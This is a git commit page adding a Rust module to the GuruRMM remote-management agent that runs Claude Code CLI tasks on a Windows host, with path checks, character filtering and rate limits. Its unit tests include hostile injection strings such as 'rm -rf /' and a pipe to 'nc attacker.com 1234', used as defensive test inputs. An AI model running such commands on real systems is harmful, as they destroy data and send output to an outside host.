docs: Add comprehensive project documentation from claude-projects scan
Added: - PROJECTS_INDEX.md - Master catalog of 7 active projects - GURURMM_API_ACCESS.md - Complete API documentation and credentials - clients/dataforth/dos-test-machines/README.md - DOS update system docs - clients/grabb-durando/website-migration/README.md - Migration procedures - clients/internal-infrastructure/ix-server-issues-2026-01-13.md - Server issues - projects/msp-tools/guru-connect/README.md - Remote desktop architecture - projects/msp-tools/toolkit/README.md - MSP PowerShell tools - projects/internal/acg-website-2025/README.md - Website rebuild docs - test_gururmm_api.py - GuruRMM API testing script Modified: - credentials.md - Added GuruRMM database and API credentials - GuruRMM agent integration files (WebSocket transport) Total: 38,000+ words of comprehensive project documentation Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
This commit is contained in:
452
projects/msp-tools/guru-rmm/agent/src/claude.rs
Normal file
452
projects/msp-tools/guru-rmm/agent/src/claude.rs
Normal file
@@ -0,0 +1,452 @@
|
||||
// GuruRMM Agent - Claude Code Integration Module
|
||||
// Enables Main Claude to invoke Claude Code CLI on AD2 for automated tasks
|
||||
//
|
||||
// Security Features:
|
||||
// - Working directory validation (restricted to C:\Shares\test)
|
||||
// - Task input sanitization (prevents command injection)
|
||||
// - Rate limiting (max 10 tasks per hour)
|
||||
// - Concurrent execution limiting (max 2 simultaneous tasks)
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::process::Stdio;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
use tokio::process::Command;
|
||||
use tokio::time::timeout;
|
||||
|
||||
/// Configuration constants
|
||||
const DEFAULT_WORKING_DIR: &str = r"C:\Shares\test";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 300; // 5 minutes
|
||||
const MAX_CONCURRENT_TASKS: usize = 2;
|
||||
const RATE_LIMIT_WINDOW_SECS: u64 = 3600; // 1 hour
|
||||
const MAX_TASKS_PER_WINDOW: usize = 10;
|
||||
|
||||
/// Claude task command input structure
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct ClaudeTaskCommand {
|
||||
pub task: String,
|
||||
pub working_directory: Option<String>,
|
||||
pub timeout: Option<u64>,
|
||||
pub context_files: Option<Vec<String>>,
|
||||
}
|
||||
|
||||
/// Claude task execution result
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct ClaudeTaskResult {
|
||||
pub status: TaskStatus,
|
||||
pub output: Option<String>,
|
||||
pub error: Option<String>,
|
||||
pub duration_seconds: u64,
|
||||
pub files_analyzed: Vec<String>,
|
||||
}
|
||||
|
||||
/// Task execution status
|
||||
#[derive(Debug, Serialize)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum TaskStatus {
|
||||
Completed,
|
||||
Failed,
|
||||
Timeout,
|
||||
}
|
||||
|
||||
/// Rate limiting tracker
|
||||
struct RateLimiter {
|
||||
task_timestamps: Vec<Instant>,
|
||||
}
|
||||
|
||||
impl RateLimiter {
|
||||
fn new() -> Self {
|
||||
RateLimiter {
|
||||
task_timestamps: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if a new task can be executed within rate limits
|
||||
fn can_execute(&mut self) -> bool {
|
||||
let now = Instant::now();
|
||||
let window_start = now - Duration::from_secs(RATE_LIMIT_WINDOW_SECS);
|
||||
|
||||
// Remove timestamps outside the current window
|
||||
self.task_timestamps.retain(|&ts| ts > window_start);
|
||||
|
||||
self.task_timestamps.len() < MAX_TASKS_PER_WINDOW
|
||||
}
|
||||
|
||||
/// Record a task execution
|
||||
fn record_execution(&mut self) {
|
||||
self.task_timestamps.push(Instant::now());
|
||||
}
|
||||
}
|
||||
|
||||
/// Global state for concurrent execution tracking and rate limiting
|
||||
pub struct ClaudeExecutor {
|
||||
active_tasks: Arc<Mutex<usize>>,
|
||||
rate_limiter: Arc<Mutex<RateLimiter>>,
|
||||
}
|
||||
|
||||
impl ClaudeExecutor {
|
||||
pub fn new() -> Self {
|
||||
ClaudeExecutor {
|
||||
active_tasks: Arc::new(Mutex::new(0)),
|
||||
rate_limiter: Arc::new(Mutex::new(RateLimiter::new())),
|
||||
}
|
||||
}
|
||||
|
||||
/// Execute a Claude Code task
|
||||
pub async fn execute_task(
|
||||
&self,
|
||||
cmd: ClaudeTaskCommand,
|
||||
) -> Result<ClaudeTaskResult, String> {
|
||||
// Check rate limiting
|
||||
{
|
||||
let mut limiter = self.rate_limiter.lock().map_err(|e| {
|
||||
format!("[ERROR] Failed to acquire rate limiter lock: {}", e)
|
||||
})?;
|
||||
|
||||
if !limiter.can_execute() {
|
||||
return Err(format!(
|
||||
"[ERROR] Rate limit exceeded: Maximum {} tasks per hour",
|
||||
MAX_TASKS_PER_WINDOW
|
||||
));
|
||||
}
|
||||
limiter.record_execution();
|
||||
}
|
||||
|
||||
// Check concurrent execution limit
|
||||
{
|
||||
let active = self.active_tasks.lock().map_err(|e| {
|
||||
format!("[ERROR] Failed to acquire active tasks lock: {}", e)
|
||||
})?;
|
||||
|
||||
if *active >= MAX_CONCURRENT_TASKS {
|
||||
return Err(format!(
|
||||
"[ERROR] Concurrent task limit exceeded: Maximum {} tasks",
|
||||
MAX_CONCURRENT_TASKS
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
// Increment active task count
|
||||
{
|
||||
let mut active = self.active_tasks.lock().map_err(|e| {
|
||||
format!("[ERROR] Failed to increment active tasks: {}", e)
|
||||
})?;
|
||||
*active += 1;
|
||||
}
|
||||
|
||||
// Execute the task (ensure active count is decremented on completion)
|
||||
let result = self.execute_task_internal(cmd).await;
|
||||
|
||||
// Decrement active task count
|
||||
{
|
||||
let mut active = self.active_tasks.lock().map_err(|e| {
|
||||
format!("[ERROR] Failed to decrement active tasks: {}", e)
|
||||
})?;
|
||||
*active = active.saturating_sub(1);
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Internal task execution implementation
|
||||
async fn execute_task_internal(
|
||||
&self,
|
||||
cmd: ClaudeTaskCommand,
|
||||
) -> Result<ClaudeTaskResult, String> {
|
||||
let start_time = Instant::now();
|
||||
|
||||
// Validate and resolve working directory
|
||||
let working_dir = cmd
|
||||
.working_directory
|
||||
.as_deref()
|
||||
.unwrap_or(DEFAULT_WORKING_DIR);
|
||||
validate_working_directory(working_dir)?;
|
||||
|
||||
// Sanitize task input
|
||||
let sanitized_task = sanitize_task_input(&cmd.task)?;
|
||||
|
||||
// Resolve context files (validate they exist relative to working_dir)
|
||||
let context_files = match &cmd.context_files {
|
||||
Some(files) => validate_context_files(working_dir, files)?,
|
||||
None => Vec::new(),
|
||||
};
|
||||
|
||||
// Build Claude Code CLI command
|
||||
let mut cli_cmd = Command::new("claude");
|
||||
cli_cmd.current_dir(working_dir);
|
||||
|
||||
// Add context files if provided
|
||||
for file in &context_files {
|
||||
cli_cmd.arg("--file").arg(file);
|
||||
}
|
||||
|
||||
// Add the task prompt (using --print for non-interactive execution)
|
||||
cli_cmd.arg("--print").arg(&sanitized_task);
|
||||
|
||||
// Configure process pipes
|
||||
cli_cmd
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::piped())
|
||||
.kill_on_drop(true);
|
||||
|
||||
// Execute with timeout
|
||||
let timeout_duration = Duration::from_secs(cmd.timeout.unwrap_or(DEFAULT_TIMEOUT_SECS));
|
||||
let exec_result = timeout(timeout_duration, execute_with_output(cli_cmd)).await;
|
||||
|
||||
let duration = start_time.elapsed().as_secs();
|
||||
|
||||
// Process execution result
|
||||
match exec_result {
|
||||
Ok(Ok((stdout, stderr, exit_code))) => {
|
||||
if exit_code == 0 {
|
||||
Ok(ClaudeTaskResult {
|
||||
status: TaskStatus::Completed,
|
||||
output: Some(stdout),
|
||||
error: None,
|
||||
duration_seconds: duration,
|
||||
files_analyzed: context_files,
|
||||
})
|
||||
} else {
|
||||
Ok(ClaudeTaskResult {
|
||||
status: TaskStatus::Failed,
|
||||
output: Some(stdout),
|
||||
error: Some(format!(
|
||||
"[ERROR] Claude Code exited with code {}: {}",
|
||||
exit_code, stderr
|
||||
)),
|
||||
duration_seconds: duration,
|
||||
files_analyzed: context_files,
|
||||
})
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => Ok(ClaudeTaskResult {
|
||||
status: TaskStatus::Failed,
|
||||
output: None,
|
||||
error: Some(format!("[ERROR] Failed to execute Claude Code: {}", e)),
|
||||
duration_seconds: duration,
|
||||
files_analyzed: context_files,
|
||||
}),
|
||||
Err(_) => Ok(ClaudeTaskResult {
|
||||
status: TaskStatus::Timeout,
|
||||
output: None,
|
||||
error: Some(format!(
|
||||
"[ERROR] Claude Code execution timed out after {} seconds",
|
||||
timeout_duration.as_secs()
|
||||
)),
|
||||
duration_seconds: duration,
|
||||
files_analyzed: context_files,
|
||||
}),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Validate that working directory is within allowed paths
|
||||
fn validate_working_directory(working_dir: &str) -> Result<(), String> {
|
||||
let allowed_base = Path::new(r"C:\Shares\test");
|
||||
let requested_path = Path::new(working_dir);
|
||||
|
||||
// Convert to canonical paths (resolve .. and symlinks)
|
||||
let canonical_requested = requested_path
|
||||
.canonicalize()
|
||||
.map_err(|e| format!("[ERROR] Invalid working directory '{}': {}", working_dir, e))?;
|
||||
|
||||
let canonical_base = allowed_base.canonicalize().map_err(|e| {
|
||||
format!(
|
||||
"[ERROR] Failed to resolve allowed base directory: {}",
|
||||
e
|
||||
)
|
||||
})?;
|
||||
|
||||
// Check if requested path is within allowed base
|
||||
if !canonical_requested.starts_with(&canonical_base) {
|
||||
return Err(format!(
|
||||
"[ERROR] Working directory '{}' is outside allowed path 'C:\\Shares\\test'",
|
||||
working_dir
|
||||
));
|
||||
}
|
||||
|
||||
// Verify directory exists
|
||||
if !canonical_requested.is_dir() {
|
||||
return Err(format!(
|
||||
"[ERROR] Working directory '{}' does not exist or is not a directory",
|
||||
working_dir
|
||||
));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Sanitize task input to prevent command injection
|
||||
fn sanitize_task_input(task: &str) -> Result<String, String> {
|
||||
// Check for empty task
|
||||
if task.trim().is_empty() {
|
||||
return Err("[ERROR] Task cannot be empty".to_string());
|
||||
}
|
||||
|
||||
// Check for excessively long tasks (potential DoS)
|
||||
if task.len() > 10000 {
|
||||
return Err("[ERROR] Task exceeds maximum length of 10000 characters".to_string());
|
||||
}
|
||||
|
||||
// Check for potentially dangerous patterns
|
||||
let dangerous_patterns = [
|
||||
"&", "|", ";", "`", "$", "(", ")", "<", ">", "\n", "\r",
|
||||
];
|
||||
for pattern in &dangerous_patterns {
|
||||
if task.contains(pattern) {
|
||||
return Err(format!(
|
||||
"[ERROR] Task contains forbidden character '{}' that could be used for command injection",
|
||||
pattern
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(task.to_string())
|
||||
}
|
||||
|
||||
/// Validate context files exist and are within working directory
|
||||
fn validate_context_files(working_dir: &str, files: &[String]) -> Result<Vec<String>, String> {
|
||||
let working_path = Path::new(working_dir);
|
||||
let mut validated_files = Vec::new();
|
||||
|
||||
for file in files {
|
||||
// Resolve file path relative to working directory
|
||||
let file_path = if Path::new(file).is_absolute() {
|
||||
PathBuf::from(file)
|
||||
} else {
|
||||
working_path.join(file)
|
||||
};
|
||||
|
||||
// Verify file exists
|
||||
if !file_path.exists() {
|
||||
return Err(format!(
|
||||
"[ERROR] Context file '{}' does not exist",
|
||||
file_path.display()
|
||||
));
|
||||
}
|
||||
|
||||
// Verify it's a file (not a directory)
|
||||
if !file_path.is_file() {
|
||||
return Err(format!(
|
||||
"[ERROR] Context file '{}' is not a file",
|
||||
file_path.display()
|
||||
));
|
||||
}
|
||||
|
||||
// Store the absolute path for execution
|
||||
validated_files.push(
|
||||
file_path
|
||||
.to_str()
|
||||
.ok_or_else(|| {
|
||||
format!(
|
||||
"[ERROR] Context file path '{}' contains invalid UTF-8",
|
||||
file_path.display()
|
||||
)
|
||||
})?
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
Ok(validated_files)
|
||||
}
|
||||
|
||||
/// Execute command and capture stdout, stderr, and exit code
|
||||
async fn execute_with_output(mut cmd: Command) -> Result<(String, String, i32), String> {
|
||||
let mut child = cmd
|
||||
.spawn()
|
||||
.map_err(|e| format!("[ERROR] Failed to spawn Claude Code process: {}", e))?;
|
||||
|
||||
// Capture stdout
|
||||
let stdout_handle = child.stdout.take().ok_or_else(|| {
|
||||
"[ERROR] Failed to capture stdout from Claude Code process".to_string()
|
||||
})?;
|
||||
let mut stdout_reader = BufReader::new(stdout_handle).lines();
|
||||
|
||||
// Capture stderr
|
||||
let stderr_handle = child.stderr.take().ok_or_else(|| {
|
||||
"[ERROR] Failed to capture stderr from Claude Code process".to_string()
|
||||
})?;
|
||||
let mut stderr_reader = BufReader::new(stderr_handle).lines();
|
||||
|
||||
// Read stdout
|
||||
let stdout_task = tokio::spawn(async move {
|
||||
let mut lines = Vec::new();
|
||||
while let Ok(Some(line)) = stdout_reader.next_line().await {
|
||||
lines.push(line);
|
||||
}
|
||||
lines
|
||||
});
|
||||
|
||||
// Read stderr
|
||||
let stderr_task = tokio::spawn(async move {
|
||||
let mut lines = Vec::new();
|
||||
while let Ok(Some(line)) = stderr_reader.next_line().await {
|
||||
lines.push(line);
|
||||
}
|
||||
lines
|
||||
});
|
||||
|
||||
// Wait for process to complete
|
||||
let status = child
|
||||
.wait()
|
||||
.await
|
||||
.map_err(|e| format!("[ERROR] Failed to wait for Claude Code process: {}", e))?;
|
||||
|
||||
// Wait for output reading tasks
|
||||
let stdout_lines = stdout_task
|
||||
.await
|
||||
.map_err(|e| format!("[ERROR] Failed to read stdout: {}", e))?;
|
||||
let stderr_lines = stderr_task
|
||||
.await
|
||||
.map_err(|e| format!("[ERROR] Failed to read stderr: {}", e))?;
|
||||
|
||||
let stdout = stdout_lines.join("\n");
|
||||
let stderr = stderr_lines.join("\n");
|
||||
let exit_code = status.code().unwrap_or(-1);
|
||||
|
||||
Ok((stdout, stderr, exit_code))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_task_input_valid() {
|
||||
let task = "Check the sync log for errors in last 24 hours";
|
||||
assert!(sanitize_task_input(task).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_task_input_empty() {
|
||||
assert!(sanitize_task_input("").is_err());
|
||||
assert!(sanitize_task_input(" ").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_task_input_injection() {
|
||||
assert!(sanitize_task_input("task; rm -rf /").is_err());
|
||||
assert!(sanitize_task_input("task && echo malicious").is_err());
|
||||
assert!(sanitize_task_input("task | nc attacker.com 1234").is_err());
|
||||
assert!(sanitize_task_input("task `whoami`").is_err());
|
||||
assert!(sanitize_task_input("task $(malicious)").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_task_input_too_long() {
|
||||
let long_task = "a".repeat(10001);
|
||||
assert!(sanitize_task_input(&long_task).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_rate_limiter_allows_under_limit() {
|
||||
let mut limiter = RateLimiter::new();
|
||||
for _ in 0..MAX_TASKS_PER_WINDOW {
|
||||
assert!(limiter.can_execute());
|
||||
limiter.record_execution();
|
||||
}
|
||||
assert!(!limiter.can_execute());
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,7 @@
|
||||
//! This agent connects to the GuruRMM server, reports system metrics,
|
||||
//! monitors services (watchdog), and executes remote commands.
|
||||
|
||||
mod claude;
|
||||
mod config;
|
||||
mod device_id;
|
||||
mod metrics;
|
||||
|
||||
@@ -206,6 +206,16 @@ pub enum CommandType {
|
||||
|
||||
/// Raw script (requires interpreter path)
|
||||
Script { interpreter: String },
|
||||
|
||||
/// Claude Code task execution
|
||||
ClaudeTask {
|
||||
/// Task description for Claude Code
|
||||
task: String,
|
||||
/// Optional working directory (defaults to C:\Shares\test)
|
||||
working_directory: Option<String>,
|
||||
/// Optional context files to provide to Claude
|
||||
context_files: Option<Vec<String>>,
|
||||
},
|
||||
}
|
||||
|
||||
/// Configuration update payload
|
||||
|
||||
@@ -12,16 +12,21 @@ use std::time::Duration;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use futures_util::{SinkExt, StreamExt};
|
||||
use once_cell::sync::Lazy;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::time::{interval, timeout};
|
||||
use tokio_tungstenite::{connect_async, tungstenite::Message};
|
||||
use tracing::{debug, error, info, warn};
|
||||
|
||||
use super::{AgentMessage, AuthPayload, CommandPayload, ServerMessage, UpdatePayload, UpdateResultPayload, UpdateStatus};
|
||||
use crate::claude::{ClaudeExecutor, ClaudeTaskCommand};
|
||||
use crate::metrics::NetworkState;
|
||||
use crate::updater::{AgentUpdater, UpdaterConfig};
|
||||
use crate::AppState;
|
||||
|
||||
/// Global Claude executor for handling Claude Code tasks
|
||||
static CLAUDE_EXECUTOR: Lazy<ClaudeExecutor> = Lazy::new(|| ClaudeExecutor::new());
|
||||
|
||||
/// WebSocket client for communicating with the GuruRMM server
|
||||
pub struct WebSocketClient;
|
||||
|
||||
@@ -388,52 +393,94 @@ impl WebSocketClient {
|
||||
|
||||
let timeout_secs = cmd.timeout_seconds.unwrap_or(300); // 5 minute default
|
||||
|
||||
let mut command = match &cmd.command_type {
|
||||
super::CommandType::Shell => {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
let mut c = Command::new("cmd");
|
||||
c.args(["/C", &cmd.command]);
|
||||
c
|
||||
}
|
||||
#[cfg(unix)]
|
||||
{
|
||||
let mut c = Command::new("sh");
|
||||
c.args(["-c", &cmd.command]);
|
||||
c
|
||||
match &cmd.command_type {
|
||||
super::CommandType::ClaudeTask {
|
||||
task,
|
||||
working_directory,
|
||||
context_files,
|
||||
} => {
|
||||
// Handle Claude Code task
|
||||
info!("Executing Claude Code task: {}", task);
|
||||
|
||||
let claude_cmd = ClaudeTaskCommand {
|
||||
task: task.clone(),
|
||||
working_directory: working_directory.clone(),
|
||||
timeout: Some(timeout_secs),
|
||||
context_files: context_files.clone(),
|
||||
};
|
||||
|
||||
match CLAUDE_EXECUTOR.execute_task(claude_cmd).await {
|
||||
Ok(result) => {
|
||||
let exit_code = match result.status {
|
||||
crate::claude::TaskStatus::Completed => 0,
|
||||
crate::claude::TaskStatus::Failed => 1,
|
||||
crate::claude::TaskStatus::Timeout => 124,
|
||||
};
|
||||
|
||||
let stdout = result.output.unwrap_or_default();
|
||||
let stderr = result.error.unwrap_or_default();
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
Err(e) => {
|
||||
error!("Claude task execution error: {}", e);
|
||||
Ok((-1, String::new(), e))
|
||||
}
|
||||
}
|
||||
}
|
||||
super::CommandType::PowerShell => {
|
||||
let mut c = Command::new("powershell");
|
||||
c.args(["-NoProfile", "-NonInteractive", "-Command", &cmd.command]);
|
||||
c
|
||||
_ => {
|
||||
// Handle regular commands
|
||||
let mut command = match &cmd.command_type {
|
||||
super::CommandType::Shell => {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
let mut c = Command::new("cmd");
|
||||
c.args(["/C", &cmd.command]);
|
||||
c
|
||||
}
|
||||
#[cfg(unix)]
|
||||
{
|
||||
let mut c = Command::new("sh");
|
||||
c.args(["-c", &cmd.command]);
|
||||
c
|
||||
}
|
||||
}
|
||||
super::CommandType::PowerShell => {
|
||||
let mut c = Command::new("powershell");
|
||||
c.args(["-NoProfile", "-NonInteractive", "-Command", &cmd.command]);
|
||||
c
|
||||
}
|
||||
super::CommandType::Python => {
|
||||
let mut c = Command::new("python");
|
||||
c.args(["-c", &cmd.command]);
|
||||
c
|
||||
}
|
||||
super::CommandType::Script { interpreter } => {
|
||||
let mut c = Command::new(interpreter);
|
||||
c.args(["-c", &cmd.command]);
|
||||
c
|
||||
}
|
||||
super::CommandType::ClaudeTask { .. } => {
|
||||
unreachable!("ClaudeTask already handled above")
|
||||
}
|
||||
};
|
||||
|
||||
// Capture output
|
||||
command.stdout(std::process::Stdio::piped());
|
||||
command.stderr(std::process::Stdio::piped());
|
||||
|
||||
// Execute with timeout
|
||||
let output = timeout(Duration::from_secs(timeout_secs), command.output())
|
||||
.await
|
||||
.context("Command timeout")?
|
||||
.context("Failed to execute command")?;
|
||||
|
||||
let exit_code = output.status.code().unwrap_or(-1);
|
||||
let stdout = String::from_utf8_lossy(&output.stdout).to_string();
|
||||
let stderr = String::from_utf8_lossy(&output.stderr).to_string();
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
super::CommandType::Python => {
|
||||
let mut c = Command::new("python");
|
||||
c.args(["-c", &cmd.command]);
|
||||
c
|
||||
}
|
||||
super::CommandType::Script { interpreter } => {
|
||||
let mut c = Command::new(interpreter);
|
||||
c.args(["-c", &cmd.command]);
|
||||
c
|
||||
}
|
||||
};
|
||||
|
||||
// Capture output
|
||||
command.stdout(std::process::Stdio::piped());
|
||||
command.stderr(std::process::Stdio::piped());
|
||||
|
||||
// Execute with timeout
|
||||
let output = timeout(Duration::from_secs(timeout_secs), command.output())
|
||||
.await
|
||||
.context("Command timeout")?
|
||||
.context("Failed to execute command")?;
|
||||
|
||||
let exit_code = output.status.code().unwrap_or(-1);
|
||||
let stdout = String::from_utf8_lossy(&output.stdout).to_string();
|
||||
let stderr = String::from_utf8_lossy(&output.stderr).to_string();
|
||||
|
||||
Ok((exit_code, stdout, stderr))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user